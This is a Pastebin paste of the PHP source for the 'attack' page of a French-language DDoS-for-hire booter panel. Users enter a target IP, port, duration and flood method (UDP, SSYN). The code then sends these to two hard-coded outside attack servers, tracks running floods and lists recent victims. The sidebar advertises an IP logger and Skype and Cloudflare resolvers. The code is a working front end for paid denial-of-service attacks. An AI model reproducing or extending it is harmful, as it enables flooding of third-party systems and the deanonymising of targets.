Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ob_start();
- error_reporting(0);
- require_once 'includes/db.php';
- require_once 'includes/init.php';
- if (!($user -> LoggedIn()))
- {
- header('location: connexion.php');
- die();
- }
- if (!($user -> notBanned($odb)))
- {
- header('location: connexion.php');
- die();
- }
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>Dox-Api | Attaquer</title>
- <link href="css/application.min.css" rel="stylesheet">
- <link rel="shortcut icon" href="img/favicon.png">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <meta name="description" content="">
- <meta name="author" content="">
- <meta charset="utf-8">
- <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
- </head>
- <body class="background-dark">
- <div class="logo">
- <h4><a href="index.html">Kali<strong>Production</strong></a></h4>
- </div>
- <nav id="sidebar" class="sidebar nav-collapse collapse">
- <ul id="side-nav" class="side-nav">
- <li>
- <a href="index.php"><i class="fa fa-home"></i> <span class="name">Accueil</span></a>
- </li>
- <li class="active">
- <a href="attaquer.php"><i class="fa fa-fire"></i> <span class="name">Attaquer une IP</span></a>
- </li>
- <li>
- <a href="historique.php"><i class="fa fa-bar-chart-o"></i> <span class="name">Mes attaques</span></a>
- </li>
- <li>
- <a href="logger.php"><i class="fa fa-database"></i> <span class="name">IP Logger</span></a>
- </li>
- <li class="panel">
- <a class="accordion-toggle collapsed" data-toggle="collapse"
- data-parent="#side-nav" href="index.html#forms-collapse"><i class="fa fa-bars"></i> <span class="name">Outils</span></a>
- <ul id="forms-collapse" class="panel-collapse collapse">
- <li><a href="skype.php">Skype Resolver</a></li>
- <li><a href="domaine.php">Domaine Resolver</a></li>
- <li><a href="cloudflare.php">Cloudflare Resolver</a></li>
- </ul>
- </li>
- </ul>
- </nav>
- <?php
- $plansql = $odb -> prepare("SELECT `users`.*,`plans`.`name`, `plans`.`mbt` FROM `users`, `plans` WHERE `plans`.`ID` = `users`.`membership` AND `users`.`ID` = :id LIMIT 1");
- $plansql -> execute(array(":id" => $_SESSION['ID']));
- $userInfo = $plansql -> fetch(PDO::FETCH_ASSOC);
- ?>
- <div class="wrap">
- <header class="page-header">
- <div class="navbar">
- <ul class="nav navbar-nav navbar-right pull-right">
- <li class="divider"></li>
- <li class="visible-xs">
- <a href="index.html#"
- class="btn-navbar"
- data-toggle="collapse"
- data-target=".sidebar"
- title="">
- <i class="fa fa-bars"></i>
- </a>
- </li>
- <li class="hidden-xs"><a href="user.php"><i class="fa fa-user"></i></a></li>
- <li class="hidden-xs"><a href="deconnexion.php"><i class="fa fa-sign-out"></i></a></li>
- </ul>
- <div class="notifications pull-right">
- <div class="alert pull-right">
- <a href="index.html#" class="close" data-dismiss="alert">×</a>
- <i class="fa fa-info-circle"></i> Bienvenue <?php echo $_SESSION['username']; ?>!
- </div>
- </div>
- </div>
- </header>
- <div class="content container">
- <div class="row">
- <div class="col-md-12">
- <h2 class="page-title">Accueil <small>Page d'attaque</small></h2>
- </div>
- <div class="row">
- <div class="col-md-3 col-sm-4 col-xs-6">
- <div class="box">
- <div class="icon">
- <?php echo $stats -> totalBoots($odb, $_SESSION['username']); ?>
- </div>
- <div class="description">
- <strong>ATTAQUES GLOBALES</strong>
- </div>
- </div>
- </div>
- <div class="col-md-3 col-sm-4 col-xs-6">
- <div class="box">
- <div class="big-text">
- <?php echo $stats -> totalUsers($odb); ?>
- </div>
- <div class="description">
- <strong>MEMBRES</strong>
- </div>
- </div>
- </div>
- <div class="col-md-3 col-sm-4 col-xs-6">
- <div class="box">
- <div class="icon">
- 5
- </div>
- <div class="description">
- <strong>SERVEURS</strong>
- </div>
- </div>
- </div>
- <div class="col-md-3 col-sm-4 col-xs-6">
- <div class="box">
- <div class="big-text">
- <?php echo $stats -> runningBoots($odb); ?> / 12
- </div>
- <div class="description">
- <strong>ATTAQUES EN COURS</strong>
- </div>
- </div>
- </div>
- </div>
- <div class="col-md-12">
- <section class="widget">
- <div class="body no-margin">
- <div class="alert alert-success">
- <strong>Statut de votre attaque :</strong> <?php
- $req = $odb->query('SELECT date,time FROM logs WHERE user="'.$_SESSION['username'].'" AND (date + time)>'.time().' ORDER BY date LIMIT 0,1');
- $data = $req->fetch(PDO::FETCH_ASSOC);
- if(isset($data) && !empty($data)){
- $cible = $data['date']+$data['time'];
- $now = time();
- $seconde = $cible - $now;
- ?>
- Flooding... (<?php echo ($seconde < 10 ? "0".$seconde : $seconde); ?> Seconds)
- <script type="text/javascript">
- (function(){
- var restant = <?php echo $seconde; ?>;
- function update(){
- if(restant > 0){
- $("#decompte").html(restant+" Flooding...(<?php echo ($seconde < 10 ? "0".$seconde : $seconde); ?> Seconds);
- }else{
- $("#decompte").html(" Aucune attaque lancée...");
- }
- restant--;
- }
- setInterval(update, 1);
- })(jQuery);
- </script>
- <script type="text/javascript">
- form_widget_amount_slider('slider_target',document.forms[0].time,110,10,120);
- form_widget_amount_slider('slider_target2',document.forms[0].power,110,1,100);
- </script>
- <?php
- }else{
- ?>
- <i> Aucune attaque lancée...</i>
- <?php
- }
- ?>
- </a>
- </div>
- <?php
- if (isset($_POST['attackBtn']))
- {
- $host = $_POST['host'];
- $port = intval($_POST['port']);
- $time = intval($_POST['time']);
- $method = $_POST['method'];
- if (empty($host) || empty($time) || empty($port) || empty($method))
- {
- echo '<div class="alert alert-danger">Il manque des choses, veuillez renseigner tous les champs.</div>';
- }
- else
- {
- if (!filter_var($host, FILTER_VALIDATE_IP))
- {
- echo '<div class="alert alert-danger">Adresse ip invalide.</div>';
- }
- else
- {
- $SQLCheckBlacklist = $odb -> prepare("SELECT COUNT(*) FROM `blacklist` WHERE `IP` = :host");
- $SQLCheckBlacklist -> execute(array(':host' => $host));
- $countBlacklist = $SQLCheckBlacklist -> fetchColumn(0);
- if ($countBlacklist > 0)
- {
- echo '<div class="alert alert-danger">Cette adresse ip est protégée.</div>';
- }
- else
- {
- $checkRunningSQL = $odb -> prepare("SELECT COUNT(*) FROM `logs` WHERE `user` = :username AND `time` + `date` > UNIX_TIMESTAMP()");
- $checkRunningSQL -> execute(array(':username' => $_SESSION['username']));
- $countRunning = $checkRunningSQL -> fetchColumn(0);
- if ($countRunning == 0)
- {
- $SQLGetTime = $odb -> prepare("SELECT `plans`.`mbt` FROM `plans` LEFT JOIN `users` ON `users`.`membership` = `plans`.`ID` WHERE `users`.`ID` = :id");
- $SQLGetTime -> execute(array(':id' => $_SESSION['ID']));
- $maxTime = $SQLGetTime -> fetchColumn(0);
- if (!($time > $maxTime))
- {
- ini_set('default_socket_timeout', 5);
- @file_get_contents("http://213.136.84.154/sodomi.php?host={$host}&port={$port}&time={$time}&method={$method}");
- @file_get_contents("http://79.143.187.155/sodomi.php?host={$host}&port={$port}&time={$time}&method={$method}");
- $insertLogSQL = $odb -> prepare("INSERT INTO `logs` VALUES(:user, :ip, :port, :time, :method, UNIX_TIMESTAMP())");
- $insertLogSQL -> execute(array(':user' => $_SESSION['username'], ':ip' => $host, ':port' => $port, ':time' => $time, ':method' => $method));
- echo '<div class="alert alert-success">Attaque lancée sur '.$host.':'.$port.' pour '.$time.' secondes en '.$method.'</div>';
- }
- else
- {
- echo '<div class="alert alert-danger">Veuillez augmenter votre Pack pour pouvoir attaquer avec ce temps.</div>';
- }
- }
- else
- {
- echo '<div class="alert alert-danger">Vous avez déjà une attaque en cours.</div>';
- }
- }
- }
- }
- }
- ?>
- <form action="" method="POST">
- <center><input placeholder="Adresse IP : 1.1.1.1" class="form-control input-lg" value="" type="text" name="host"></center>
- <br>
- <center><input placeholder="Port : 80" class="form-control input-lg" type="text" maxlength="5" name="port"></center>
- <br>
- <center><input placeholder="Temps : 120" class="form-control input-lg" type="text" name="time"></center>
- <br>
- <center><select class="form-control input-lg" name="method"></center>
- <option value="UDP">UDP</option>
- <option value="SSYN">SSYN</option>
- </select>
- <br><button class="btn btn-success btn-lg btn-block" name="attackBtn" type="submit">Attaquer</button></form>
- </div>
- </fieldset>
- </section>
- <section class="widget">
- <header>
- <h4>
- Récente attaques
- </h4>
- <div class="widget-controls">
- <a data-widgster="expand" title="Expand" href="index.php#"><i class="glyphicon glyphicon-plus"></i></a>
- <a data-widgster="collapse" title="Collapse" href="index.php#"><i class="glyphicon glyphicon-minus"></i></a>
- <a data-widgster="close" title="Close" href="index.php#"><i class="glyphicon glyphicon-remove"></i></a>
- </div>
- </header>
- <div class="body">
- <table class="table table-striped no-margin sources-table">
- <thead>
- <tr>
- <th class="source-col-header">Nom</th>
- <th>Adresse IP</th>
- <th>Port</th>
- <th class="hidden-xs">Temps</th>
- <th>Méthode</th>
- </tr>
- </thead>
- <tbody>
- <?php
- $SQLGetLogs = $odb -> query("SELECT * FROM `logs` ORDER BY `date` DESC LIMIT 3");
- while($getInfo = $SQLGetLogs -> fetch(PDO::FETCH_ASSOC))
- {
- echo '<tr><td>'.$getInfo['user'].'</td><td>'.$getInfo['ip'].'</td><td>'.$getInfo['port'].'</td><td>'.$getInfo['time'].'</td><td>'.$getInfo['method'].'</td></tr>';
- }
- ?>
- </tbody>
- </table>
- </div>
- </section>
- </div>
- </div>
- </div>
- </div>
- <!-- jquery and friends -->
- <script src="lib/jquery/jquery-2.0.3.min.js"> </script>
- <script src="lib/jquery-pjax/jquery.pjax.js"></script>
- <!-- jquery plugins -->
- <script src="lib/icheck.js/jquery.icheck.js"></script>
- <script src="lib/sparkline/jquery.sparkline.js"></script>
- <script src="lib/jquery-ui-1.10.3.custom.js"></script>
- <script src="lib/jquery.slimscroll.js"></script>
- <!-- d3, nvd3-->
- <script src="lib/nvd3/lib/d3.v2.js"></script>
- <script src="lib/nvd3/nv.d3.custom.js"></script>
- <!-- nvd3 models -->
- <script src="lib/nvd3/src/models/scatter.js"></script>
- <script src="lib/nvd3/src/models/axis.js"></script>
- <script src="lib/nvd3/src/models/legend.js"></script>
- <script src="lib/nvd3/src/models/multiBar.js"></script>
- <script src="lib/nvd3/src/models/multiBarChart.js"></script>
- <script src="lib/nvd3/src/models/line.js"></script>
- <script src="lib/nvd3/src/models/lineChart.js"></script>
- <script src="lib/nvd3/stream_layers.js"></script>
- <!--backbone and friends -->
- <script src="lib/backbone/underscore-min.js"></script>
- <script src="lib/backbone/backbone-min.js"></script>
- <script src="lib/backbone/backbone.localStorage-min.js"></script>
- <!-- bootstrap default plugins -->
- <script src="lib/bootstrap/transition.js"></script>
- <script src="lib/bootstrap/collapse.js"></script>
- <script src="lib/bootstrap/alert.js"></script>
- <script src="lib/bootstrap/tooltip.js"></script>
- <script src="lib/bootstrap/popover.js"></script>
- <script src="lib/bootstrap/button.js"></script>
- <script src="lib/bootstrap/tab.js"> </script>
- <script src="lib/bootstrap/dropdown.js"></script>
- <!-- basic application js-->
- <script src="js/app.js"></script>
- <script src="js/settings.js"></script>
- <!-- page specific -->
- <script src="js/index.js"></script>
- <script src="js/chat.js"></script>
- <script type="text/template" id="message-template">
- <div class="sender pull-left">
- <div class="icon">
- <img src="img/2.jpg" class="img-circle" alt="">
- </div>
- <div class="time">
- just now
- </div>
- </div>
- <div class="chat-message-body">
- <span class="arrow"></span>
- <div class="sender">Tikhon Laninga</div>
- <div class="text">
- <%- text %>
- </div>
- </div>
- </script>
- <script type="text/template" id="settings-template">
- <div class="setting clearfix">
- <div>Background</div>
- <div id="background-toggle" class="pull-left btn-group" data-toggle="buttons-radio">
- <% dark = background == 'dark'; light = background == 'light';%>
- <button type="button" data-value="dark" class="btn btn-sm btn-transparent <%= dark? 'active' : '' %>">Dark</button>
- <button type="button" data-value="light" class="btn btn-sm btn-transparent <%= light? 'active' : '' %>">Light</button>
- </div>
- </div>
- <div class="setting clearfix">
- <div>Sidebar on the</div>
- <div id="sidebar-toggle" class="pull-left btn-group" data-toggle="buttons-radio">
- <% onRight = sidebar == 'right'%>
- <button type="button" data-value="left" class="btn btn-sm btn-transparent <%= onRight? '' : 'active' %>">Left</button>
- <button type="button" data-value="right" class="btn btn-sm btn-transparent <%= onRight? 'active' : '' %>">Right</button>
- </div>
- </div>
- <div class="setting clearfix">
- <div>Sidebar</div>
- <div id="display-sidebar-toggle" class="pull-left btn-group" data-toggle="buttons-radio">
- <% display = displaySidebar%>
- <button type="button" data-value="true" class="btn btn-sm btn-transparent <%= display? 'active' : '' %>">Show</button>
- <button type="button" data-value="false" class="btn btn-sm btn-transparent <%= display? '' : 'active' %>">Hide</button>
- </div>
- </div>
- <div class="setting clearfix">
- <div>White Version</div>
- <div>
- <a href="white/index.html" class="btn btn-sm btn-transparent"> Switch <i class="fa fa-angle-right"></i></a>
- </div>
- </div>
- </script>
- <script type="text/template" id="sidebar-settings-template">
- <% auto = sidebarState == 'auto'%>
- <% if (auto) {%>
- <button type="button"
- data-value="icons"
- class="btn-icons btn btn-transparent btn-sm">Icons</button>
- <button type="button"
- data-value="auto"
- class="btn-auto btn btn-transparent btn-sm">Auto</button>
- <%} else {%>
- <button type="button"
- data-value="auto"
- class="btn btn-transparent btn-sm">Auto</button>
- <% } %>
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement